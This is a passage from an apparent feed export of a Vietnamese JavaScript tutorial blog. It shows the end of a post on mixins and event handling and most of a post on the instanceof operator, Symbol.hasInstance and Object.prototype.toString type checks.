punctuation">.</span>_eventHandlers<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_eventHandlers<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_eventHandlers<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>handler<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token comment">/** * Hủy bỏ đăng ký, ví dụ: * menu.off('select', handler) */</span> <span class="token function">off</span><span class="token punctuation">(</span><span class="token parameter">eventName<span class="token punctuation">,</span> handler</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> handlers <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_eventHandlers<span class="token operator">?.</span><span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>handlers<span class="token punctuation">)</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> handlers<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>handlers<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">===</span> handler<span class="token punctuation">)</span> <span class="token punctuation">{</span> handlers<span class="token punctuation">.</span><span class="token function">splice</span><span class="token punctuation">(</span>i<span class="token operator">--</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token comment">/** * Kích hoạt sự kiện với tên `eventName`, ví dụ: * this.trigger('select', data1, data2); */</span> <span class="token function">trigger</span><span class="token punctuation">(</span><span class="token parameter">eventName<span class="token punctuation">,</span> <span class="token operator">...</span>args</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token keyword">this</span><span class="token punctuation">.</span>_eventHandlers<span class="token operator">?.</span><span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token comment">// khi không có handler tương ứng</span> <span class="token punctuation">}</span> <span class="token comment">// gọi các handler tương ứng</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_eventHandlers<span class="token punctuation">[</span>eventName<span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">handler</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">handler</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> args<span class="token punctuation">)</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Phương thức <code>.on(eventName, handler)</code>: gán hàm <code>handler</code> để chạy khi sự kiện có tên <code>eventName</code> xảy ra. Về cơ bản, có một thuộc tính <code>_eventHandlers</code> dùng để lưu trữ một loạt các <code>handler</code> cho mỗi tên sự kiện và mình chỉ thêm vào danh sách.</li> <li>Phương thức <code>.off(eventName, handler)</code>: xóa hàm khỏi danh sách các <code>handler</code>.</li> <li>Phương thức <code>.trigger(eventName,...args)</code>: tạo ra sự kiện. Sau đó, tất cả các hàm từ <code>_eventHandlers[eventName]</code> sẽ được gọi với danh sách các đối số <code>...args</code>.</li> </ul> <p>Ví dụ về cách sử dụng <code>EventMixin</code> trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Định nghĩa tạo class</span> <span class="token keyword">class</span> <span class="token class-name">Menu</span> <span class="token punctuation">{</span> <span class="token function">choose</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span><span class="token function">trigger</span><span class="token punctuation">(</span><span class="token string">"select"</span><span class="token punctuation">,</span> value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// thêm mixin vào class Menu</span> Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token class-name">Menu</span><span class="token punctuation">.</span>prototype<span class="token punctuation">,</span> eventMixin<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Khởi tạo đối tượng menu</span> <span class="token keyword">let</span> menu <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Menu</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Đăng ký handler để gọi khi có sự kiện "select"</span> menu<span class="token punctuation">.</span><span class="token function">on</span><span class="token punctuation">(</span><span class="token string">"select"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Value selected: </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>value<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Kích hoạt sự kiện => sau đó handler trên sẽ được gọi:</span> menu<span class="token punctuation">.</span><span class="token function">choose</span><span class="token punctuation">(</span><span class="token string">"456"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Value selected: 456</span></code></pre></div> <p>Bây giờ, nếu bạn muốn bất kỳ đoạn code nào được gọi khi menu được <strong>select</strong>, bạn có thể lắng nghe nó với <code>menu.on("select",...)</code>.</p> <p>Rõ ràng, mixin <code>EventMixin</code> giúp bạn dễ dàng thêm các phương thức vào nhiều lớp tùy thích mà không can thiệp vào chuỗi prototype của class.</p> <blockquote> <p>Mình có một bài viết khác về PubSub Pattern cũng sử dụng Event như trên, bạn có thể tham khảo tại bài viết: <a href="/js-pattern-4-pubsub-pattern/">PubSub Pattern</a>.</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p><strong>Mixin</strong> là một thuật ngữ chung trong lập trình hướng đối tượng. Đó là một lớp chứa các phương thức cho các lớp khác sử dụng.</p> <p>Thực tế, một số ngôn ngữ khác cho phép đa kế thừa. Còn JavaScript thì <strong>không hỗ trợ đa kế thừa</strong>, nhưng các mixin có thể được áp dụng bằng cách sao chép các phương thức vào prototype.</p> <p>Bạn có thể sử dụng mixin như một cách để <strong>làm giàu</strong> một class bằng cách thêm nhiều phương thức, ví dụ cách xử lý sự kiện như bạn đã thấy ở trên...</p> <p>Tuy nhiên, mixin có thể <strong>vô tình ghi đè</strong> lên các phương thức hiện có trong class (nếu cùng tên). Vì vậy, nói chung bạn nên cân nhắc kỹ về các <strong>phương pháp đặt tên</strong> của một mixin giúp giảm thiểu xác suất xung đột.</p> <p>Tham khảo: <a href="https://javascript.info/mixins">Mixins</a></p>[email protected]<![CDATA[Kiểm tra lớp với toán tử instanceof trong JavaScript]]><![CDATA[Toán tử instanceof cho phép kiểm tra một đối tượng có thuộc lớp nào đó hay không. Và toán tử này cũng tính đến kế thừa. Việc kiểm tra kiểu của class là cần thiết trong nhiều trường…]]>https://completejavascript.com/kiem-tra-lop-toan-tu-instanceof-trong-javascript/https://completejavascript.com/kiem-tra-lop-toan-tu-instanceof-trong-javascript/<![CDATA[Class]]><![CDATA[ES6]]>Mon, 03 Jul 2017 20:00:00 GMT<p>Toán tử <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/instanceof"><code>instanceof</code></a> cho phép kiểm tra một đối tượng có thuộc <a href="/cu-phap-class-trong-javascript-co-ban/">lớp</a> nào đó hay không. Và toán tử này cũng tính đến <a href="/ke-thua-class-trong-javascript/">kế thừa</a>.</p> <p><strong>Việc kiểm tra kiểu của class</strong> là cần thiết trong nhiều trường hợp. Ví dụ, toán tử <code>instanceof</code> có thể được sử dụng để xây dựng một hàm <a href="https://vi.wikipedia.org/wiki/%C4%90a_h%C3%ACnh">đa hình</a> - một hàm xử lý các đối số khác nhau tùy thuộc vào kiểu của chúng.</p> <h2 id="toán-tử-instanceof" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-instanceof" aria-label="toán tử instanceof permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử instanceof</h2> <p>Cú pháp sử dụng toán tử <code>instanceof</code> là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">obj <span class="token keyword">instanceof</span> <span class="token class-name">Class</span><span class="token punctuation">;</span></code></pre></div> <p>Câu lệnh trên trả về <code>true</code> nếu <code>obj</code> thuộc về <code>Class</code> hoặc một lớp kế thừa từ <code>Class</code> đó, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit <span class="token keyword">instanceof</span> <span class="token class-name">Rabbit</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Toán tử <code>instanceof</code> cũng hoạt động với các <a href="/khoi-tao-object-new-trong-javascript/">hàm khởi tạo</a> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">instanceof</span> <span class="token class-name">Rabbit</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Và kể cả các <a href="/ke-thua-built-in-class-trong-javascript/"><strong>built-in class</strong></a> như <code>Array</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr <span class="token keyword">instanceof</span> <span class="token class-name">Array</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr <span class="token keyword">instanceof</span> <span class="token class-name">Object</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p><strong>Chú ý:</strong> <code>arr</code> cũng thuộc về lớp <code>Object</code>. Đó là bởi vì <code>Array</code> kế thừa nguyên mẫu - <a href="/prototype-la-gi-prototype-trong-javascript/">kế thừa prototype</a> từ <code>Object</code>.</p> <p>Thông thường, toán tử <code>instanceof</code> dựa trên chuỗi prototype để kiểm tra class. Ngoài ra, bạn cũng có thể tùy chỉnh phương thức static <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance"><code>Symbol.hasInstance</code></a> trong class.</p> <p>Bởi vì, thuật toán của <code>obj instanceof Class</code> hoạt động theo cách sau:</p> <ol> <li>Nếu class có một phương thức tĩnh là <code>Symbol.hasInstance</code>, thì toán tử <code>instanceof</code> chỉ cần gọi phương thức đó dạng <code>Class[Symbol.hasInstance](obj)</code>. Và kết quả trả về sẽ là <code>true</code> hoặc <code>false</code>. Đó chính là cách để tùy chỉnh hoạt động của toán tử <code>instanceof</code>, ví dụ:</li> </ol> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// tùy biến Symbol.hasInstance sao cho</span> <span class="token comment">// tất cả các object mà canEat=true thì đều thuộc class Animal</span> <span class="token keyword">class</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token keyword">static</span> <span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>hasInstance<span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>obj<span class="token punctuation">.</span>canEat<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">canEat</span><span class="token operator">:</span> <span class="token boolean">true</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj <span class="token keyword">instanceof</span> <span class="token class-name">Animal</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// Bởi vì Animal[Symbol.hasInstance](obj) được gọi.</span></code></pre></div> <ol start="2"> <li>Hầu hết các class không có phương thức <code>Symbol.hasInstance</code>. Trong trường hợp đó, logic cơ bản được sử dụng cho <code>obj instanceOf Class</code> là kiểm tra xem <code>Class.prototype</code> có bằng một trong các prototype trong chuỗi prototype của <code>obj</code> hay không. Nói cách khác, thuật toán để kiểm tra như sau:</li> </ol> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Lần lượt kiểm tra các prototype trong chuỗi</span> obj<span class="token punctuation">.</span>__proto__ <span class="token operator">===</span> <span class="token class-name">Class</span><span class="token punctuation">.</span>prototype<span class="token punctuation">;</span> obj<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span>__proto__ <span class="token operator">===</span> <span class="token class-name">Class</span><span class="token punctuation">.</span>prototype<span class="token punctuation">;</span> obj<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span>__proto__<span class="token punctuation">.</span>__proto__ <span class="token operator">===</span> <span class="token class-name">Class</span><span class="token punctuation">.</span>prototype<span class="token punctuation">;</span> <span class="token comment">//...</span> <span class="token comment">// Nếu bất cứ phép so sánh nào trả về true thì kết quả cuối cùng là true.</span> <span class="token comment">// Ngược lại thì kết quả là false.</span></code></pre></div> <p>Trong ví dụ trên <code>rabbit.__proto__ === Rabbit.prototype</code>, do đó kết quả là <code>true</code> ngay lập tức.</p> <p>Với trường hợp kế thừa, quá trình so sánh sẽ dừng lại ở bước thứ hai:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit <span class="token keyword">instanceof</span> <span class="token class-name">Animal</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// Kiểm tra: rabbit.__proto__ === Animal.prototype (không đúng)</span> <span class="token comment">// Kiểm tra: rabbit.__proto__.__proto__ === Animal.prototype (đúng -> dừng lại)</span></code></pre></div> <p>Ngoài toán tử <code>instanceof</code>, cũng có một phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/object/isPrototypeOf">objA.isPrototypeOf(objB)</a>, trả về <code>true</code> nếu <code>objA</code> ở đâu đó trong chuỗi prototype của <code>objB</code>.</p> <p>Vì vậy, <code>obj instanceof Class</code> có thể được thay thế bằng câu lệnh <code>Class.prototype.isPrototypeOf(obj)</code>.</p> <blockquote> <p><strong>Chú ý</strong>: Bản thân hàm khởi tạo <code>Class</code> không tham gia vào việc kiểm tra.</p> <p>Chỉ có chuỗi prototype và <code>Class.prototype</code> được sử dụng với toán tử <code>instanceof</code>.</p> </blockquote> <p>Điều đó có thể dẫn đến những <strong>kết quả không mong muốn</strong> khi thuộc tính <code>prototype</code> bị thay đổi sau khi đối tượng được tạo ra, như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token keyword">let</span> rabbit <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// thay đổi prototype</span> <span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// dẫn đến đối tượng rabbit không thuộc Rabbit nữa</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>rabbit <span class="token keyword">instanceof</span> <span class="token class-name">Rabbit</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="đôi-điều-về-objectprototypetostring" style="position:relative;"><a href="#%C4%91%C3%B4i-%C4%91i%E1%BB%81u-v%E1%BB%81-objectprototypetostring" aria-label="đôi điều về objectprototypetostring permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đôi điều về Object.prototype.toString</h2> <p>Bạn biết rằng các object thuần (plain object) được chuyển đổi thành <strong>string</strong> dưới dạng <code>[object Object]</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">alert</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Object]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Object]</span></code></pre></div> <p>Đó chính là cách JavaScript triển khai phương thức <code>toString</code>.</p> <p>Tuy nhiên, có một <strong>tính năng ẩn</strong> làm cho <code>toString</code> thực sự linh hoạt hơn thế. Bạn có thể sử dụng <code>toString</code> như một cách mở rộng của toán tử <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof"><code>typeof</code></a> để thay thế cho <code>instanceof</code>.</p> <p>Theo <a href="https://tc39.github.io/ecma262/#sec-object.prototype.tostring">đặc tả của <code>toString</code></a>, phương thức này có thể được lấy ra từ object và thực thi trong ngữ cảnh (context) của bất kỳ giá trị (kiểu dữ liệu) nào khác. Và kết quả thu được sẽ phụ thuộc vào giá trị đó.</p> <ul> <li>Đối với một số, kết quả là <code>[object Number]</code>.</li> <li>Đối với boolean, kết quả là <code>[object Boolean]</code></li> <li>Đối với <code>null</code> là: <code>[object Null]</code>.</li> <li>Đối với <code>undefined</code> là: <code>[object Undefined]</code>.</li> <li>Đối với mảng là <code>[object Array]</code>.</li> <li>...vv (có thể tùy chỉnh).</li> </ul> <p>Bạn có thể xem ví dụ sau để thấy rõ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// copy phương thức `toString` sang một biến khác</span> <span class="token keyword">let</span> objectToString <span class="token operator">=</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>toString<span class="token punctuation">;</span> <span class="token comment">// khai báo 1 biến</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// kiểm tra kiểu dữ liệu của biến</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">objectToString</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Array]</span></code></pre></div> <p>Cụ thể, mình đã sử dụng hàm <code>call</code> như được mô tả từ bài <a href="/function-binding-trong-javascript/">function binding trong JavaScript</a>. Ở đây, thuật toán <code>toString</code> kiểm tra <code>this</code> và trả về kết quả tương ứng.</p> <p>Ngoài ra còn các ví dụ khác:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> s <span class="token operator">=</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>toString<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">s</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token number">123</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Number]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">s</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Null]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">s</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Function]</span></code></pre></div> <h3 id="symboltostringtag" style="position:relative;"><a href="#symboltostringtag" aria-label="symboltostringtag permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Symbol.toStringTag</h3> <p>Hoạt động của phương thức <code>toString</code> trong object có thể được tùy chỉnh bằng cách sử dụng một <a href="/tim-hieu-ve-symbol-trong-javascript/">symbol</a> đặc biệt là <code>Symbol.toStringTag</code>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>toStringTag<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token string">"User"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object User]</span></code></pre></div> <p>Hầu hết các đối tượng của môi trường cụ thể (trình duyệt, Node.js,...) đều có một thuộc tính như vậy. Và dưới đây là ví dụ về một số đối tượng trên trình duyệt:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>window<span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>toStringTag<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Window</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token class-name">XMLHttpRequest</span><span class="token punctuation">.</span>prototype<span class="token punctuation">[</span>Symbol<span class="token punctuation">.</span>toStringTag<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// XMLHttpRequest</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>window<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object Window]</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">XMLHttpRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [object XMLHttpRequest]</span></code></pre></div> <p>Như bạn thấy, kết quả chính xác là <code>Symbol.toStringTag</code> (nếu tồn tại) và có dạng <code>[object...]</code>.</p> <p>Tóm lại, bạn có thể sử dụng <code>{}.toString.call</code> thay vì <code>instanceof</code> cho các đối tượng có sẵn khi muốn lấy kiểu <strong>dưới dạng string</strong> thay vì chỉ để kiểm tra.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 